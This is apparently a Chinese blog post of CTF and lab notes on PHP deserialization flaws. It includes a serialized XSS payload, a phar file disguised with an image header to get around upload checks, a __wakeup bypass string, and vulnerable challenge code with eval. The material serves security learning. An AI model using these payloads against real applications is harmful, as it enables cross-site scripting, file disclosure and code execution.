代码编织梦想

0x01

实验环境

靶场:pikachu+LKWA

平台:bugku+攻防世界+0CTF+南邮ctf+其他

环境:win10+VPS(ubuntu)+Docker

工具:Burp+MantraPortable

预备知识

Session反序列化漏洞

phar://协议

phar文件

简单回顾

对上一篇博客做一些补充:
所谓序列化(serialize),即把一个对象变成易存储的字符串,比如下面是一个对象:

class OWL{
    public $aaa="bbb";
}
$o=new OWL(); //创建一个对象
serialize($o); //把这个对象进行序列化
# 序列化后:
O:1:"S":1:{s:3:"aaa";s:3:"bbb";}
        O:对象object
        1:对象名称长度为1个字符
        S:对象名称
        1:对象属性个数为1(public)
        s:数据类型
        3:变量名称长度
        aaa:变量名称
        s:数据类型
        3:变量值长度
        bbb:变量值

与它相对应的反序列化则是把被序列化后的字符串还原为之前的对象.

0x02

1.php反序列化漏洞(Pikachu)

靶场:Pikachu

在这里插入图片描述
贴上unser.php的源码:

class S{
    var $test = "pikachu";
    function __construct(){   //类S的魔术方法被__construct()重写了
        echo $this->test;     //现在的作用是直接输出test的值
    }
}

$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}

审计上面的源码可以知道:

  • 类S的魔术方法被__construct()重写,直接输出test的值
  • 以post的方式传参给$o,然后在赋值给$unser
  • @表示不再有回显
  • 若赋值成功, 即将$s反序列化, 并作为p标签返回到网页中

解题思路:

这里要输出$s的反序列化后的值,且再无任何过滤和限制,那么我们如果提交一个序列化后的参数,则网页会给我们返回序列化前的参数(利用点),一般涉及浏览器我也只知道XSS了,所以在这里构造一个序列化后的xss payload,那unser.php反序列化后,正好会触发我们提交的payload,即可利用成功.

下面我们开始利用,先要构造一个序列化后的payload:

<?php
// 注意
//这里需要满足与目标后端的类名一致
//因为这样目标后端反序列化后的payload才是我们想利用的
class S{
    var $test = "<script>alert('0wl')</script>";
}
echo '<br>';
$s = new S();
echo serialize($s);
?>

成功得到payload:

在这里插入图片描述

#payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('0wl')</script>";}

成功弹窗:

在这里插入图片描述

2.PHAR Deserialization(LKWA)

3.Double-5(安洵杯)

4.Jarvis oj

源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

5.未命名1(GCTF)

源码:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>

6.Web php unserialize (攻防世界)

7.unserialize3(攻防世界)

8.未命名2(南邮CTF)

<?php
class just4fun { //定义了一个类
    var $enter;
    var $secret;
}
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass); //进行反序列化处理

    if ($o) {
        $o->secret = "*"; 
        if ($o->secret === $o->enter) 
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

因为不知道 * 代表的是什么,所以用指针来直接让它们的属性相同。

<?php
class just4fun {
    var $enter;
    var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret; //这里的a=&b 即代表将b的指针赋值给a 无论b的值怎么变 a始终等于b
echo serialize($o);
?>

自己在机子上执行即可,然后得到序列化字符串:

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

然后将此作为pass的参数, 以GET方式提交即可.

9.piapiapia(0CTF 2016)

10.phar反序列化漏洞

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行出错:

在这里插入图片描述

意思是让我们去更改php的配置文件php.ini,并将phar.readonly选项设置为Off.

但是,我在我的电脑上怎么找也没有找到php.ini这个文件(又是一玄学问题),可是也不能因为这就阻挡我咸鱼翻身的梦想,于是只好转移战场了

操作环境:阿里云VPS+Ubuntu

可又都得从新配置环境. . . . . .

# vim /etc/php/7.2/cli/php.ini

在这里插入图片描述

再次执行成功:

在这里插入图片描述

通过开篇对phar://协议的了解, phar 文件必须以__HALT_COMPILER();?>来结尾,那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

因此这里我们构造一个带有图片文件头部的 phar 文件。

<?php
    class TestObject {
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o->data='hello L1n!';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行成功:

在这里插入图片描述

现在来尝试以反序列化的方式获取文件内容:

<?php
include('phar://phar.jpg');
class TestObject {
    function __destruct()
    {
        echo $this->data;
    }
}
?>

执行结果:

在这里插入图片描述

从这里我们可以看出,phar://协议成功地触发了魔术方法__destruct()获取到了文件phar.jpg的内容.至于原理,由于涉及到了php的底层知识(一般底层都复杂),我将在后续学习,毕竟现在的主要目的是说明phar://协议在反序列化中也是有一席之地的,所以这无疑又给我们增加了一个绕过上传检测的姿势!

11.未命名3

<?php
class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
        if(!empty($this->file)) {
            if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
            show_source(dirname (__FILE__).'/'.$this ->file);
        else{
            die('Wrong filename.');
        }
    }  
    function __wakeup()
    { 
        $this-> file='index.php'; 
    } 
    public function __toString()
    {
        return '' ;
    }
}     
    if (!isset($_GET['file'])) { 
        show_source('index.php'); 
    } 
    else { 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); 
    } 
?>   #<!--key in flag.php-->

解题思路:

序列化字符串的结构已经在上一篇博客说过了,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

所以这里我们通过改写序列化字符串中表示属性个数的数字,使其比真实值大,就可以绕过__wakeup()函数了.

poc(来源于互联网)

<?php
class SoFun{ 
    protected $file='flag.php';
}  
$poc = new SoFun;  
echo serialize($poc);
?>

将输出的结果表示属性个数的数字加1

O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}

0x03

2020/15/04
今晚的到这里就结束了,没想到这会儿已经是凌晨四点多了,原来我这一坐一起就过去这么长时间了!
由于我习惯性得用Typora在本地写好后在发出去,所以比较耗时间,剩下那些未写完的我后续会补上的!
先去睡觉了, 早安!

[参考文章]
安全客
从一道ctf看php反序列化漏洞的应用场景
天融信阿尔法实验室

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_43668710/article/details/105525996

ubuntu18.04更改apt-get源-爱代码爱编程

ubuntu18.04更改apt-get源 编辑/etc/apt/sources.list文件, 在文件最前面添加以下条目(操作前请做好相应备份): 改为阿里源: deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse deb http://mir

Ubuntu系统安装MySQL及配置-爱代码爱编程

彻底删除mysql 首先在终端中查看MySQL的依赖项 dpkg --list|grep mysql 卸载: mysql-common sudo apt-get remove mysql-common 卸载:mysql-server-5.7 sudo apt-get autoremove --purge mysql-server-5.7

MacOS Catalina 10.15.4 alias添加自定义命令-爱代码爱编程

MacOS Catalina 10.15.4 alias添加自定义命令 例如:简化命令’clear’为’c’ 在之前的版本中,bash_profile和bashrc 首先打开终端: vim ~/.bash_profile 然后添加如下代码. alias c = 'clear' 完了之后在终端执行 source ~/.bash

Linux-you need at least 8.6GB disk space to install Ubuntu,this computer has only 8GB-爱代码爱编程

我觉得还是需要记录一下,这该死的记性说不定过几个月就忘了呢? 可能刚巧遇到这个问题又刚巧打开这个网页的小伙伴,找了半天解决方案结果看不懂我在说啥,那我大概是个罪人,浪费别人的时间就是蹉跎时间蹉跎岁月呀。。。。哈哈哈哈啊!!!大半夜还在搞这破玩意,精神已经不太正常了。。。 安装Ubuntu的时候还挺顺利的,然后就遇到了这个问题,已经进行了磁盘分区,为什么还

Linux用C语言模拟‘ls‘命令-爱代码爱编程

原理 在linux下使用C语言,通过调用Linux系统的目录访问API来实现一个类似于ls命令功能的小程序,主要是可以练习程序对命令的解析和目录API函数的使用。 实现代码 #include <stdio.h> #include <time.h> #include <sys/types.h> #include &l

Linux关于grep初学-爱代码爱编程

grep 命令格式: grep   参数  "查找内容"    文件路径 参数的选择: -n  显示查找的内容在原文件的行号;-v  取反,查找不包含“查找内容”的行;--color=auto 将匹配的内容红色显示。查找内容中的格式: 普通文本             查找的内容只是包含普通文本的内容      2. 正则表达式        

Docker之Ubuntu18.04简单安装-爱代码爱编程

一、前提条件 1.1、Docker操作系统要求 Ubuntu Eoan 19.10Ubuntu Bionic 18.04(LTS)Ubuntu Xenial 16.04(LTS)1.2、卸载旧的版本(如果安装过旧的版本) sudo apt-get remove docker docker-engine docker.io containerd runc

Docker图形化管理工具Portainer-爱代码爱编程

文章目录 Portainer介绍搜索Portainer镜像并拉取安装Portainer访问Portainer容器 Portainer介绍 Portainer是Docker的图形化管理工具,提供状态显示面板、应用模板快速部署、容器镜像网络数据卷的基本操作(包括上传下载镜像,创建容器等操作)、事件日志显示、容器控制台操作、Swarm集群和服务等集

使用docker-compose部署go-fastdfs-爱代码爱编程

1、环境 操作系统:Centos 7docker版本:19.03.7docker-compose版本:1.24.02、拉取官方镜像 # go-fastdfs $ docker pull sjqzhang/go-fastdfs 3、docker-compose.yml 配置文件 version: "3.7" services: fastdfs

项目学习第一天SpringBoot+SpringCloud+SpringMVC+SpringData架构-爱代码爱编程

项目学习第一天SpringBoot+SpringCloud+SpringMVC+SpringData架构 正文开始前有话要说   各位大佬们好,因为之前有过很多的学习都没能一一记录下来,非常的可惜,所以打算从今天开始在这里记录我找工作前的一些学习过程,希望大家能够多多批评与指正,谢谢大家啦。 系统设计和工程搭建   1.了解项目的需求分析;   2

通过docker overlay2 目录名查找容器名和容器ID-爱代码爱编程

有时候经常会有个别容器占用磁盘空间特别大,这个时候就需要通过docker overlay2 目录名查找对应容器名: 1、 首先进入到 /var/lib/docker/overlay2 目录下,查看谁占用的较多 [root@PPS-97-8-ALI-HD1H overlay2]# cd /var/lib/docker/overlay2 [root@

Centos 7 一键安装Redash (Centos7 + Docker)-爱代码爱编程

最近一段时间,运营找我们要报表的数据频率越来越高。 我们就使用之前搭建的报表系统CBoard,让运营自己去导。 用了一段时间后,运营反馈说导大数据量的时候导不出来,结果发现是服务器超时,经过一翻折腾,最多还是只能导六万多条就报错了。 不想通过修改java源码,老大就说再找找其他开源的报表系统。 最后找到Redash,因为要进行调研,研究Redash报